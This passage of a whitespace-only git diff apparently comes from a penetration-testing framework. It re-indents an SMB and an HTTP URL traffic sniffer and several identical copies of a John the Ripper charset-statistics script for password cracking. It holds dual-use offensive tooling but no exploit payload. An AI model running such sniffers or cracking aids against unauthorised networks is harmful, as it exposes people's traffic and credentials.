:type => "smb_peer_os", + :data => s[:peer_os] + ) if (s[:peer_os] and s[:peer_os].strip.length > 0) - report_note( - :host => src_ip, - :type => "smb_peer_lm", - :data => s[:peer_lm] - ) if (s[:peer_lm] and s[:peer_lm].strip.length > 0) + report_note( + :host => src_ip, + :type => "smb_peer_lm", + :data => s[:peer_lm] + ) if (s[:peer_lm] and s[:peer_lm].strip.length > 0) - report_note( - :host => src_ip, - :type => "smb_domain", - :data => s[:domain] - ) if (s[:domain] and s[:domain].strip.length > 0) + report_note( + :host => src_ip, + :type => "smb_domain", + :data => s[:domain] + ) if (s[:domain] and s[:domain].strip.length > 0) - end - end - end - s[:last] = nil - sessions.delete(s[:session]) - end - end - end + end + end + end + s[:last] = nil + sessions.delete(s[:session]) + end + end + end end diff --git a/data/exploits/psnuffle/url.rb b/data/exploits/psnuffle/url.rb index 467bab5203..d90f254caa 100755 --- a/data/exploits/psnuffle/url.rb +++ b/data/exploits/psnuffle/url.rb @@ -6,43 +6,43 @@ # Sniffer class for GET URL's class SnifferURL < BaseProtocolParser - def register_sigs - self.sigs = { - :get => /^GET\s+([^\n]+)\s+HTTP\/\d\.\d/i, - :webhost => /^HOST\:\s+([^\n\r]+)/i, - } - end + def register_sigs + self.sigs = { + :get => /^GET\s+([^\n]+)\s+HTTP\/\d\.\d/i, + :webhost => /^HOST\:\s+([^\n\r]+)/i, + } + end - def parse(pkt) - # We want to return immediantly if we do not have a packet which is handled by us - return unless pkt.is_tcp? - return if (pkt.tcp_sport != 80 and pkt.tcp_dport != 80) - s = find_session((pkt.tcp_sport == 80) ? get_session_src(pkt) : get_session_dst(pkt)) + def parse(pkt) + # We want to return immediantly if we do not have a packet which is handled by us + return unless pkt.is_tcp? + return if (pkt.tcp_sport != 80 and pkt.tcp_dport != 80) + s = find_session((pkt.tcp_sport == 80) ? get_session_src(pkt) : get_session_dst(pkt)) - self.sigs.each_key do |k| + self.sigs.each_key do |k| - # There is only one pattern per run to test - matched = nil - matches = nil + # There is only one pattern per run to test + matched = nil + matches = nil - if(pkt.payload =~ self.sigs[k]) - matched = k - matches = $1 - sessions[s[:session]].merge!({k => matches}) - end + if(pkt.payload =~ self.sigs[k]) + matched = k + matches = $1 + sessions[s[:session]].merge!({k => matches}) + end - case matched - when :webhost - sessions[s[:session]].merge!({k => matches}) - if(s[:get]) - print_status("HTTP GET: #{s[:session]} http://#{s[:webhost]}#{s[:get]}") - sessions.delete(s[:session]) - return - end - when nil - # No matches, no saved state - end # end case matched - end # end of each_key - end # end of parse + case matched + when :webhost + sessions[s[:session]].merge!({k => matches}) + if(s[:get]) + print_status("HTTP GET: #{s[:session]} http://#{s[:webhost]}#{s[:get]}") + sessions.delete(s[:session]) + return + end + when nil + # No matches, no saved state + end # end case matched + end # end of each_key + end # end of parse end # end of URL sniffer diff --git a/data/john/run.linux.x64.mmx/genincstats.rb b/data/john/run.linux.x64.mmx/genincstats.rb index 42d9b6ef6d..d415a55f97 100644 --- a/data/john/run.linux.x64.mmx/genincstats.rb +++ b/data/john/run.linux.x64.mmx/genincstats.rb @@ -3,20 +3,20 @@ require 'getoptlong' def help - puts "Usage: #{$0} [options]" - puts "\t-h --help\t\tthis help." - puts "\t-f --file\t\toutput file." - puts "\t-n --num\t\tcharset: 0123456789" - puts "\t-a --alpha\t\tcharset: abcdefghijklmnopqrstuvwxyz" - puts "\t-A --alphamaj\t\tcharset: ABCDEFGHIJKLMNOPQRSTUVWXYZ" - puts "\t-l --alphanum\t\tcharset: alpha + num" - puts "\t-l --alphanummaj\tcharset: alpha + alphamaj + num" - puts "\t-s --all\t\tcharset: alpha + alphamaj + num + !@#$+=.*" - puts "\t-c --custom" - puts "\nExample:\n" - puts "#{$0} -f stats -s" - puts "#{$0} -f stats -c \"0123abc+=\"" - exit + puts "Usage: #{$0} [options]" + puts "\t-h --help\t\tthis help." + puts "\t-f --file\t\toutput file." + puts "\t-n --num\t\tcharset: 0123456789" + puts "\t-a --alpha\t\tcharset: abcdefghijklmnopqrstuvwxyz" + puts "\t-A --alphamaj\t\tcharset: ABCDEFGHIJKLMNOPQRSTUVWXYZ" + puts "\t-l --alphanum\t\tcharset: alpha + num" + puts "\t-l --alphanummaj\tcharset: alpha + alphamaj + num" + puts "\t-s --all\t\tcharset: alpha + alphamaj + num + !@#$+=.*" + puts "\t-c --custom" + puts "\nExample:\n" + puts "#{$0} -f stats -s" + puts "#{$0} -f stats -c \"0123abc+=\"" + exit end ch_alpha = 'abcdefghijklmnopqrstuvwxyz' @@ -24,55 +24,55 @@ ch_num = '0123456789' ch_sp = '!@#$+=.*' opts = GetoptLong.new( - [ '--help', '-h', GetoptLong::NO_ARGUMENT ], - [ '--file', '-f', GetoptLong::OPTIONAL_ARGUMENT], - [ '--all', '-s', GetoptLong::NO_ARGUMENT], - [ '--num', '-n', GetoptLong::NO_ARGUMENT], - [ '--alpha', '-a', GetoptLong::NO_ARGUMENT ], - [ '--alphamaj', '-A', GetoptLong::NO_ARGUMENT ], - [ '--alphanum', '-l', GetoptLong::NO_ARGUMENT ], - [ '--alphanummaj', '-L', GetoptLong::NO_ARGUMENT ], - [ '--custom', '-c', GetoptLong::OPTIONAL_ARGUMENT ] + [ '--help', '-h', GetoptLong::NO_ARGUMENT ], + [ '--file', '-f', GetoptLong::OPTIONAL_ARGUMENT], + [ '--all', '-s', GetoptLong::NO_ARGUMENT], + [ '--num', '-n', GetoptLong::NO_ARGUMENT], + [ '--alpha', '-a', GetoptLong::NO_ARGUMENT ], + [ '--alphamaj', '-A', GetoptLong::NO_ARGUMENT ], + [ '--alphanum', '-l', GetoptLong::NO_ARGUMENT ], + [ '--alphanummaj', '-L', GetoptLong::NO_ARGUMENT ], + [ '--custom', '-c', GetoptLong::OPTIONAL_ARGUMENT ] ) charset = nil filename = "stats_out" opts.each do |opt, arg| - case opt - when '--help' - help - when '--file' - filename = arg - when '--num' - charset = ch_num - when '--alpha' - charset = ch_alpha - when '--alphamaj' - charset = ch_alpha.capitalize - when '--alphanum' - charset = ch_alpha + ch_num - when '--alphanummaj' - charset = ch_alpha.capitalize + ch_num - when '--all' - charset = ch_alpha + ch_alpha.capitalize + ch_num + ch_sp - when '--custom' - charset = arg - end + case opt + when '--help' + help + when '--file' + filename = arg + when '--num' + charset = ch_num + when '--alpha' + charset = ch_alpha + when '--alphamaj' + charset = ch_alpha.capitalize + when '--alphanum' + charset = ch_alpha + ch_num + when '--alphanummaj' + charset = ch_alpha.capitalize + ch_num + when '--all' + charset = ch_alpha + ch_alpha.capitalize + ch_num + ch_sp + when '--custom' + charset = arg + end end if charset == nil - help + help end fstat = File.open(filename, "w") charset.each_byte do |c| - fstat.write("1=proba1[#{c.to_s}]\n") - charset.each_byte do |tmp| - fstat.write("1=proba2[#{c.to_s}*256+#{tmp.to_s}]\n") - end + fstat.write("1=proba1[#{c.to_s}]\n") + charset.each_byte do |tmp| + fstat.write("1=proba2[#{c.to_s}*256+#{tmp.to_s}]\n") + end end fstat.close diff --git a/data/john/run.linux.x86.any/genincstats.rb b/data/john/run.linux.x86.any/genincstats.rb index 42d9b6ef6d..d415a55f97 100644 --- a/data/john/run.linux.x86.any/genincstats.rb +++ b/data/john/run.linux.x86.any/genincstats.rb @@ -3,20 +3,20 @@ require 'getoptlong' def help - puts "Usage: #{$0} [options]" - puts "\t-h --help\t\tthis help." - puts "\t-f --file\t\toutput file." - puts "\t-n --num\t\tcharset: 0123456789" - puts "\t-a --alpha\t\tcharset: abcdefghijklmnopqrstuvwxyz" - puts "\t-A --alphamaj\t\tcharset: ABCDEFGHIJKLMNOPQRSTUVWXYZ" - puts "\t-l --alphanum\t\tcharset: alpha + num" - puts "\t-l --alphanummaj\tcharset: alpha + alphamaj + num" - puts "\t-s --all\t\tcharset: alpha + alphamaj + num + !@#$+=.*" - puts "\t-c --custom" - puts "\nExample:\n" - puts "#{$0} -f stats -s" - puts "#{$0} -f stats -c \"0123abc+=\"" - exit + puts "Usage: #{$0} [options]" + puts "\t-h --help\t\tthis help." + puts "\t-f --file\t\toutput file." + puts "\t-n --num\t\tcharset: 0123456789" + puts "\t-a --alpha\t\tcharset: abcdefghijklmnopqrstuvwxyz" + puts "\t-A --alphamaj\t\tcharset: ABCDEFGHIJKLMNOPQRSTUVWXYZ" + puts "\t-l --alphanum\t\tcharset: alpha + num" + puts "\t-l --alphanummaj\tcharset: alpha + alphamaj + num" + puts "\t-s --all\t\tcharset: alpha + alphamaj + num + !@#$+=.*" + puts "\t-c --custom" + puts "\nExample:\n" + puts "#{$0} -f stats -s" + puts "#{$0} -f stats -c \"0123abc+=\"" + exit end ch_alpha = 'abcdefghijklmnopqrstuvwxyz' @@ -24,55 +24,55 @@ ch_num = '0123456789' ch_sp = '!@#$+=.*' opts = GetoptLong.new( - [ '--help', '-h', GetoptLong::NO_ARGUMENT ], - [ '--file', '-f', GetoptLong::OPTIONAL_ARGUMENT], - [ '--all', '-s', GetoptLong::NO_ARGUMENT], - [ '--num', '-n', GetoptLong::NO_ARGUMENT], - [ '--alpha', '-a', GetoptLong::NO_ARGUMENT ], - [ '--alphamaj', '-A', GetoptLong::NO_ARGUMENT ], - [ '--alphanum', '-l', GetoptLong::NO_ARGUMENT ], - [ '--alphanummaj', '-L', GetoptLong::NO_ARGUMENT ], - [ '--custom', '-c', GetoptLong::OPTIONAL_ARGUMENT ] + [ '--help', '-h', GetoptLong::NO_ARGUMENT ], + [ '--file', '-f', GetoptLong::OPTIONAL_ARGUMENT], + [ '--all', '-s', GetoptLong::NO_ARGUMENT], + [ '--num', '-n', GetoptLong::NO_ARGUMENT], + [ '--alpha', '-a', GetoptLong::NO_ARGUMENT ], + [ '--alphamaj', '-A', GetoptLong::NO_ARGUMENT ], + [ '--alphanum', '-l', GetoptLong::NO_ARGUMENT ], + [ '--alphanummaj', '-L', GetoptLong::NO_ARGUMENT ], + [ '--custom', '-c', GetoptLong::OPTIONAL_ARGUMENT ] ) charset = nil filename = "stats_out" opts.each do |opt, arg| - case opt - when '--help' - help - when '--file' - filename = arg - when '--num' - charset = ch_num - when '--alpha' - charset = ch_alpha - when '--alphamaj' - charset = ch_alpha.capitalize - when '--alphanum' - charset = ch_alpha + ch_num - when '--alphanummaj' - charset = ch_alpha.capitalize + ch_num - when '--all' - charset = ch_alpha + ch_alpha.capitalize + ch_num + ch_sp - when '--custom' - charset = arg - end + case opt + when '--help' + help + when '--file' + filename = arg + when '--num' + charset = ch_num + when '--alpha' + charset = ch_alpha + when '--alphamaj' + charset = ch_alpha.capitalize + when '--alphanum' + charset = ch_alpha + ch_num + when '--alphanummaj' + charset = ch_alpha.capitalize + ch_num + when '--all' + charset = ch_alpha + ch_alpha.capitalize + ch_num + ch_sp + when '--custom' + charset = arg + end end if charset == nil - help + help end fstat = File.open(filename, "w") charset.each_byte do |c| - fstat.write("1=proba1[#{c.to_s}]\n") - charset.each_byte do |tmp| - fstat.write("1=proba2[#{c.to_s}*256+#{tmp.to_s}]\n") - end + fstat.write("1=proba1[#{c.to_s}]\n") + charset.each_byte do |tmp| + fstat.write("1=proba2[#{c.to_s}*256+#{tmp.to_s}]\n") + end end fstat.close diff --git a/data/john/run.linux.x86.mmx/genincstats.rb b/data/john/run.linux.x86.mmx/genincstats.rb index 42d9b6ef6d..d415a55f97 100644 --- a/data/john/run.linux.x86.mmx/genincstats.rb +++ b/data/john/run.linux.x86.mmx/genincstats.rb @@ -3,20 +3,20 @@ require 'getoptlong' def help - puts "Usage: #{$0} [options]" - puts "\t-h --help\t\tthis help." - puts "\t-f --file\t\toutput file." - puts "\t-n --num\t\tcharset: 0123456789" - puts "\t-a --alpha\t\tcharset: abcdefghijklmnopqrstuvwxyz" - puts "\t-A --alphamaj\t\tcharset: ABCDEFGHIJKLMNOPQRSTUVWXYZ" - puts "\t-l --alphanum\t\tcharset: alpha + num" - puts "\t-l --alphanummaj\tcharset: alpha + alphamaj + num" - puts "\t-s --all\t\tcharset: alpha + alphamaj + num + !@#$+=.*" - puts "\t-c --custom" - puts "\nExample:\n" - puts "#{$0} -f stats -s" - puts "#{$0} -f stats -c \"0123abc+=\"" - exit + puts "Usage: #{$0} [options]" + puts "\t-h --help\t\tthis help." + puts "\t-f --file\t\toutput file." + puts "\t-n --num\t\tcharset: 0123456789" + puts "\t-a --alpha\t\tcharset: abcdefghijklmnopqrstuvwxyz" + puts "\t-A --alphamaj\t\tcharset: ABCDEFGHIJKLMNOPQRSTUVWXYZ" + puts "\t-l --alphanum\t\tcharset: alpha + num" + puts "\t-l --alphanummaj\tcharset: alpha + alphamaj + num" + puts "\t-s --all\t\tcharset: alpha + alphamaj + num + !@#$+=.*" + puts "\t-c --custom" + puts "\nExample:\n" + puts "#{$0} -f stats -s" + puts "#{$0} -f stats -c \"0123abc+=\"" + exit end ch_alpha = 'abcdefghijklmnopqrstuvwxyz' @@ -24,55 +24,55 @@ ch_num = '0123456789' ch_sp = '!@#$+=.*' opts = GetoptLong.new( - [ '--help', '-h', GetoptLong::NO_ARGUMENT ], - [ '--file', '-f', GetoptLong::OPTIONAL_ARGUMENT], - [ '--all', '-s', GetoptLong::NO_ARGUMENT], - [ '--num', '-n', GetoptLong::NO_ARGUMENT], - [ '--alpha', '-a', GetoptLong::NO_ARGUMENT ], - [ '--alphamaj', '-A', GetoptLong::NO_ARGUMENT ], - [ '--alphanum', '-l', GetoptLong::NO_ARGUMENT ], - [ '--alphanummaj', '-L', GetoptLong::NO_ARGUMENT ], - [ '--custom', '-c', GetoptLong::OPTIONAL_ARGUMENT ] + [ '--help', '-h', GetoptLong::NO_ARGUMENT ], + [ '--file', '-f', GetoptLong::OPTIONAL_ARGUMENT], + [ '--all', '-s', GetoptLong::NO_ARGUMENT], + [ '--num', '-n', GetoptLong::NO_ARGUMENT], + [ '--alpha', '-a', GetoptLong::NO_ARGUMENT ], + [ '--alphamaj', '-A', GetoptLong::NO_ARGUMENT ], + [ '--alphanum', '-l', GetoptLong::NO_ARGUMENT ], + [ '--alphanummaj', '-L', GetoptLong::NO_ARGUMENT ], + [ '--custom', '-c', GetoptLong::OPTIONAL_ARGUMENT ] ) charset = nil filename = "stats_out" opts.each do |opt, arg| - case opt - when '--help' - help - when '--file' - filename = arg - when '--num' - charset = ch_num - when '--alpha' - charset = ch_alpha - when '--alphamaj' - charset = ch_alpha.capitalize - when '--alphanum' - charset = ch_alpha + ch_num - when '--alphanummaj' - charset = ch_alpha.capitalize + ch_num - when '--all' - charset = ch_alpha + ch_alpha.capitalize + ch_num + ch_sp - when '--custom' - charset = arg - end + case opt + when '--help' + help + when '--file' + filename = arg + when '--num' + charset = ch_num + when '--alpha' + charset = ch_alpha + when '--alphamaj' + charset = ch_alpha.capitalize + when '--alphanum' + charset = ch_alpha + ch_num + when '--alphanummaj' + charset = ch_alpha.capitalize + ch_num + when '--all' + charset = ch_alpha + ch_alpha.capitalize + ch_num + ch_sp + when '--custom' + charset = arg + end end if charset == nil - help + help end fstat = File.open(filename, "w") charset.each_byte do |c| - fstat.write("1=proba1[#{c.to_s}]\n") - charset.each_byte do |tmp| - fstat.write("1=proba2[#{c.to_s}*256+#{tmp.to_s}]\n") - end + fstat.write("1=proba1[#{c.to_s}]\n") + charset.each_byte do |tmp| + fstat.write("1=proba2[#{c.to_s}*256+#{tmp.to_s}]\n") + end end fstat.close diff --git a/data/john/run.linux.x86.sse2/genincstats.rb b/data/john/run.linux.x86.sse2/genincstats.rb index 42d9b6ef6d..d415a55f97 100644 --- a/data/john/run.linux.x86.sse2/genincstats.rb +++ b/data/john/run.linux.x86.sse2/genincstats.rb @@ -3,20 +3,20 @@ require 'getoptlong' def help - puts "Usage: #{$0} [options]" - puts "\t-h --help\t\tthis help." - puts "\t-f --file\t\toutput file." - puts "\t-n --num\t\tcharset: 0123456789" - puts "\t-a --alpha\t\tcharset: abcdefghijklmnopqrstuvwxyz" - puts "\t-A --alphamaj\t\tcharset: ABCDEFGHIJKLMNOPQRSTUVWXYZ" - puts "\t-l --alphanum\t\tcharset: alpha + num" - puts "\t-l --alphanummaj\tcharset: alpha + alphamaj + num" - puts "\t-s --all\t\tcharset: alpha + alphamaj + num + !@#$+=.*" - puts "\t-c --custom" - puts "\nExample:\n" - puts "#{$0} -f stats -s" - puts "#{$0} -f stats -c \"0123abc+=\"" - exit + puts "Usage: #{$0} [options]" + puts "\t-h --help\t\tthis help." + puts "\t-f --file\t\toutput file." + puts "\t-n --num\t\tcharset: 0123456789" + puts "\t-a --alpha\t\tcharset: abcdefghijklmnopqrstuvwxyz" + puts "\t-A --alphamaj\t\tcharset: ABCDEFGHIJKLMNOPQRSTUVWXYZ" + puts "\t-l --alphanum\t\tcharset: alpha + num" + puts "\t-l --alphanummaj\tcharset: alpha + alphamaj + num" + puts "\t-s --all\t\tcharset: alpha + alphamaj + num + !@#$+=.*" + puts "\t-c --custom" + puts "\nExample:\n" + puts "#{$0} -f stats -s" + puts "#{$0} -f stats -c \"0123abc+=\"" + exit end ch_alpha = 'abcdefghijklmnopqrstuvwxyz' @@ -24,55 +24,55 @@ ch_num = '0123456789' ch_sp = '!@#$+=.*' opts = GetoptLong.new( - [ '--help', '-h', GetoptLong::NO_ARGUMENT ], - [ '--file', '-f', GetoptLong::OPTIONAL_ARGUMENT], - [ '--all', '-s', GetoptLong::NO_ARGUMENT], - [ '--num', '-n', GetoptLong::NO_ARGUMENT], - [ '--alpha', '-a', GetoptLong::NO_ARGUMENT ], - [ '--alphamaj', '-A', GetoptLong::NO_ARGUMENT ], - [ '--alphanum', '-l', GetoptLong::NO_ARGUMENT ], - [ '--alphanummaj', '-L', GetoptLong::NO_ARGUMENT ], - [ '--custom', '-c', GetoptLong::OPTIONAL_ARGUMENT ] + [ '--help', '-h', GetoptLong::NO_ARGUMENT ], + [ '--file', '-f', GetoptLong::OPTIONAL_ARGUMENT], + [ '--all', '-s', GetoptLong::NO_ARGUMENT], + [ '--num', '-n', GetoptLong::NO_ARGUMENT], + [ '--alpha', '-a', GetoptLong::NO_ARGUMENT ], + [ '--alphamaj', '-A', GetoptLong::NO_ARGUMENT ], + [ '--alphanum', '-l', GetoptLong::NO_ARGUMENT ], + [ '--alphanummaj', '-L', GetoptLong::NO_ARGUMENT ], + [ '--custom', '-c', GetoptLong::OPTIONAL_ARGUMENT ] ) charset = nil filename = "stats_out" opts.each do |opt, arg| - case opt - when '--help' - help - when '--file' - filename = arg - when '--num' - charset = ch_num - when '--alpha' - charset = ch_alpha - when '--alphamaj' - charset = ch_alpha.capitalize - when '--alphanum' - charset = ch_alpha + ch_num - when '--alphanummaj' - charset = ch_alpha.capitalize + ch_num - when '--all' - charset = ch_alpha + ch_alpha.capitalize + ch_num + ch_sp - when '--custom' - charset = arg - end + case opt + when '--help' + help + when '--file' + filename = arg + when '--num' + charset = ch_num + when '--alpha' + charset = ch_alpha + when '--alphamaj' + charset = ch_alpha.capitalize + when '--alphanum' + charset = ch_alpha + ch_num + when '--alphanummaj' + charset = ch_alpha.capitalize + ch_num + when '--all' + charset = ch_alpha + ch_alpha.capitalize + ch_num + ch_sp + when '--custom' + charset = arg + end end if charset == nil - help + help end fstat = File.open(filename, "w") charset.each_byte do |c| - fstat.write("1=proba1[#{c.to_s}]\n") - charset.each_byte do |tmp| - fstat.write("1=proba2[#{c.to_s}*256+#{tmp.to_s}]\n") - end + fstat.write("1=proba1[#{c.to_s}]\n") + charset.each_byte do |tmp| + fstat.write("1=proba2[#{c.to_s}*256+#{tmp.to_s}]\n") + end end fstat.close diff --git a/data/john/run.win32.any/genincstats.rb b/data/john/run.win32.any/genincstats.rb index 42d9b6ef6d..d415a55f97 100755 --- a/data/john/run.win32.any/genincstats.rb +++ b/data/john/run.win32.any/genincstats.rb @@ -3,20 +3,20 @@ require 'getoptlong' def help - puts "Usage: #{$0} [options]" - puts "\t-h --help\t\tthis help." - puts "\t-f --file\t\toutput file." - puts "\t-n --num\t\tcharset: 0123456789" - puts "\t-a --alpha\t\tcharset: abcdefghijklmnopqrstuvwxyz" - puts "\t-A --alphamaj\t\tcharset: ABCDEFGHIJKLMNOPQRSTUVWXYZ" - puts "\t-l --alphanum\t\tcharset: alpha + num" - puts "\t-l --alphanummaj\tcharset: alpha + alphamaj + num" - puts "\t-s --all\t\tcharset: alpha + alphamaj + num + !@#$+=.*" - puts "\t-c --custom" - puts "\nExample:\n" - puts "#{$0} -f stats -s" - puts "#{$0} -f stats -c \"0123abc+=\"" - exit + puts "Usage: #{$0} [options]" + puts "\t-h --help\t\tthis help." + puts "\t-f --file\t\toutput file." + puts "\t-n --num\t\tcharset: 0123456789" + puts "\t-a --alpha\t\tcharset: abcdefghijklmnopqrstuvwxyz" + puts "\t-A --alphamaj\t\tcharset: ABCDEFGHIJKLMNOPQRSTUVWXYZ" + puts "\t-l --alphanum\t\tcharset: alpha + num" + puts "\t-l --alphanummaj\tcharset: alpha + alphamaj + num" + puts "\t-s --all\t\tcharset: alpha + alphamaj + num + !@#$+=.*" + puts "\t-c --custom" + puts "\nExample:\n" + puts "#{$0} -f stats -s" + puts "#{$0} -f stats -c \"0123abc+=\"" + exit end ch_alpha = 'abcdefghijklmnopqrstuvwxyz' @@ -24,55 +24,55 @@ ch_num = '0123456789' ch_sp = '!@#$+=.*' opts = GetoptLong.new( - [ '--help', '-h', GetoptLong::NO_ARGUMENT ], - [ '--file', '-f', GetoptLong::OPTIONAL_ARGUMENT], - [ '--all', '-s', GetoptLong::NO_ARGUMENT], - [ '--num', '-n', GetoptLong::NO_ARGUMENT], - [ '--alpha', '-a', GetoptLong::NO_ARGUMENT ], - [ '--alphamaj', '-A', GetoptLong::NO_ARGUMENT ], - [ '--alphanum', '-l', GetoptLong::NO_ARGUMENT ], - [ '--alphanummaj', '-L', GetoptLong::NO_ARGUMENT ], - [ '--custom', '-c', GetoptLong::OPTIONAL_ARGUMENT ] + [ '--help', '-h', GetoptLong::NO_ARGUMENT ], + [ '--file', '-f', GetoptLong::OPTIONAL_ARGUMENT], + [ '--all', '-s', GetoptLong::NO_ARGUMENT], + [ '--num', '-n', GetoptLong::NO_ARGUMENT], + [ '--alpha', '-a', GetoptLong::NO_ARGUMENT ], + [ '--alphamaj', '-A', GetoptLong::NO_ARGUMENT ], + [ '--alphanum', '-l', GetoptLong::NO_ARGUMENT ], + [ '--alphanummaj', '-L', GetoptLong::NO_ARGUMENT ], + [ '--custom', '-c', GetoptLong::OPTIONAL_ARGUMENT ] ) charset = nil filename = "stats_out" opts.each do |opt, arg| - case opt - when '--help' - help - when '--file' - filename = arg - when '--num' - charset = ch_num - when '--alpha' - charset = ch_alpha - when '--alphamaj' - charset = ch_alpha.capitalize - when '--alphanum' - charset = ch_alpha + ch_num - when '--alphanummaj' - charset = ch_alpha.capitalize + ch_num - when '--all' - charset = ch_alpha + ch_alpha.capitalize + ch_num + ch_sp - when '--custom' - charset = arg - end + case opt + when '--help' + help + when '--file' + filename = arg + when '--num' + charset = ch_num + when '--alpha' + charset = ch_alpha + when '--alphamaj' + charset = ch_alpha.capitalize + when '--alphanum' + charset = ch_alpha + ch_num + when '--alphanummaj' + charset = ch_alpha.capitalize + ch_num + when '--all' + charset = ch_alpha + ch_alpha.capitalize + ch_num + ch_sp + when '--custom' + charset = arg + end end if charset == nil - help + help end fstat = File.open(filename, "w") charset.each_byte do |c| - fstat.write("1=proba1[#{c.to_s}]\n") - charset.each_byte do |tmp| - fstat.write("1=proba2[#{c.to_s}*256+#{tmp.to_s}]\n") - end + fstat.write("1=proba1[#{c.to_s}]\n") + charset.each_byte do |tmp| + fstat.write("1=proba2[#{c.to_s}*256+#{tmp.to_s}]\n") + end end fstat.close diff --git a/data/john/run.win32.mmx/genincstats.rb b/data/john/run.win32.mmx/genincstats.rb index 42d9b6ef6d..d415a55f97 100755 --- a/data/john/run.win32.mmx/genincstats.rb +++ b/data/john/run.win32.mmx/genincstats.rb @@ -3,20 +3,20 @@ require 'getoptlong' def help - puts "Usage: #{$0} [options]" - puts "\t-h --help\t\tthis help." - puts "\t-f --file\t\toutput file." - puts "\t-n --num\t\tcharset: 0123456789" - puts "\t-a --alpha\t\tcharset: abcdefghijklmnopqrstuvwxyz" - puts "\t-A --alphamaj\t\tcharset: ABCDEFGHIJKLMNOPQRSTUVWXYZ" - puts "\t-l --alphanum\t\tcharset: alpha + num" - puts "\t-l --alphanummaj\tcharset: alpha + alphamaj + num" - puts "\t-s --all\t\tcharset: alpha + alphamaj + num + !@#$+=.*" - puts "\t-c --custom" - puts "\nExample:\n" - puts "#{$0} -f stats -s" - puts "#{$0} -f stats -c \"0123abc+=\"" - exit + puts "Usage: #{$0} [options]" + puts "\t-h --help\t\tthis help." + puts "\t-f --file\t\toutput file." + puts "\t-n --num\t\tcharset: 0123456789" + puts "\t-a --alpha\t\tcharset: abcdefghijklmnopqrstuvwxyz" + puts "\t-A --alphamaj\t\tcharset: ABCDEFGHIJKLMNOPQRSTUVWXYZ" + puts "\t-l --alphanum\t\tcharset: alpha + num" + puts "\t-l --alphanummaj\tcharset: alpha + alphamaj + num" + puts "\t-s --all\t\tcharset: alpha + alphamaj + num + !@#$+=.*" + puts "\t-c --custom" + puts "\nExample:\n" + puts "#{$0} -f stats -s" + puts "#{$0} -f stats -c \"0123abc+=\"" + exit end ch_alpha = 'abcdefghijklmnopqrstuvwxyz' @@ -24,55 +24,55 @@ ch_num = '0123456789' ch_sp = '!@#$+=.*' opts = GetoptLong.new( - [ '--help', '-h', GetoptLong::NO_ARGUMENT ], - [ '--file', '-f', GetoptLong::OPTIONAL_ARGUMENT], - [ '--all', '-s', GetoptLong::NO_ARGUMENT], - [ '--num', '-n', GetoptLong::NO_ARGUMENT], - [ '--alpha', '-a', GetoptLong::NO_ARGUMENT ], - [ '--alphamaj', '-A', GetoptLong::NO_ARGUMENT ], - [ '--alphanum', '-l', GetoptLong::NO_ARGUMENT ], - [ '--alphanummaj', '-L', GetoptLong::NO_ARGUMENT ], - [ '--custom', '-c', GetoptLong::OPTIONAL_ARGUMENT ] + [ '--help', '-h', GetoptLong::NO_ARGUMENT ], + [ '--file', '-f', GetoptLong::OPTIONAL_ARGUMENT], + [ '--all', '-s', GetoptLong::NO_ARGUMENT], + [ '--num', '-n', GetoptLong::NO_ARGUMENT], + [ '--alpha', '-a', GetoptLong::NO_ARGUMENT ], + [ '--alphamaj', '-A', GetoptLong::NO_ARGUMENT ], + [ '--alphanum', '-l', GetoptLong::NO_ARGUMENT ], + [ '--alphanummaj', '-L', GetoptLong::NO_ARGUMENT ], + [ '--custom', '-c', GetoptLong::OPTIONAL_ARGUMENT ] ) charset = nil filename = "stats_out" opts.each do |opt, arg| - case opt - when '--help' - help - when '--file' - filename = arg - when '--num' - charset = ch_num - when '--alpha' - charset = ch_alpha - when '--alphamaj' - charset = ch_alpha.capitalize - when '--alphanum' - charset = ch_alpha + ch_num - when '--alphanummaj' - charset = ch_alpha.capitalize + ch_num - when '--all' - charset = ch_alpha + ch_alpha.capitalize + ch_num + ch_sp - when '--custom' - charset = arg - end + case opt + when '--help' + help + when '--file' + filename = arg + when '--num' + charset = ch_num + when '--alpha' + charset = ch_alpha + when '--alphamaj' + charset = ch_alpha.capitalize + when '--alphanum' + charset = ch_alpha + ch_num + when '--alphanummaj' + charset = ch_alpha.capitalize + ch_num + when '--all' + charset = ch_alpha + ch_alpha.capitalize + ch_num + ch_sp + when '--custom' + charset = arg + end end if charset == nil - help + help end fstat = File.open(filename, "w") charset.each_byte do |c| - fstat.write("1=proba1[#{c.to_s}]\n") - charset.each_byte do |tmp| - fstat.write("1=proba2[#{c.to_s}*256+#{tmp.to_s}]\n") - end + fstat.write("1=proba1[#{c.to_s}]\n") + charset.each_byte do |tmp| + fstat.write("1=proba2[#{c.to_s}*256+#{tmp.to_s}]\n") + end end fstat.close diff --git a/data/john/run.win32.sse2/genincstats.rb b/data/john/run.win32.sse2/genincstats.rb index 42d9b6ef6d..d415a55f97 100755 --- a/data/john/run.win32.sse2/genincstats.rb +++ b/data/john/run.win32.sse2/genincstats.rb @@ -3,20 +3,20 @@ require 'getoptlong' def help - puts "Usage: #{$0} [options]" - puts "\t-h --help\t\tthis help." - puts "\t-f --file\t\toutput file." - puts "\t-n --num\t\tcharset: 0123456789" - puts "\t-a --alpha\t\tcharset: abcdefghijklmnopqrstuvwxyz" - puts "\t-A --alphamaj\t\tcharset: ABCDEFGHIJKLMNOPQRSTUVWXYZ" - puts "\t-l --alphanum\t\tcharset: alpha + num" - puts "\t-l --alphanummaj\tcharset: alpha + alphamaj + num" - puts "\t-s --all\t\tcharset: alpha + alphamaj + num + !@#$+=.*" - puts "\t-c --custom" - puts "\nExample:\n" - puts "#{$0} -f stats -s" - puts "#{$0} -f stats -c \"0123abc+=\"" - exit + puts "Usage: #{$0} [options]" + puts "\t-h --help\t\tthis help." + puts "\t-f --file\t\toutput file." + puts "\t-n --num\t\tcharset: 0123456789" + puts "\t-a --alpha\t\tcharset: abcdefghijklmnopqrstuvwxyz" + puts "\t-A --alphamaj\t\tcharset: ABCDEFGHIJKLMNOPQRSTUVWXYZ" + puts "\t-l --alphanum\t\tcharset: alpha + num" + puts "\t-l --alphanummaj\tcharset: alpha + alphamaj + num" + puts "\t-s --all\t\tcharset: alpha + alphamaj + num + !@#$+=.*" + puts "\t-c --custom" + puts "\nExample:\n" + puts "#{$0} -f stats -s" + puts "#{$0} -f stats -c \"0123abc+=\"" + exit end ch_alpha = 'abcdefghijklmnopqrstuvwxyz' @@ -24,55 +24,55 @@ ch_num = '0123456789' ch_sp = '!@#$+=.*' opts = GetoptLong.new( - [ '--help', '-h', GetoptLong::NO_ARGUMENT ], - [ '--file', '-f', GetoptLong::OPTIONAL_ARGUMENT], - [ '--all', '-s', 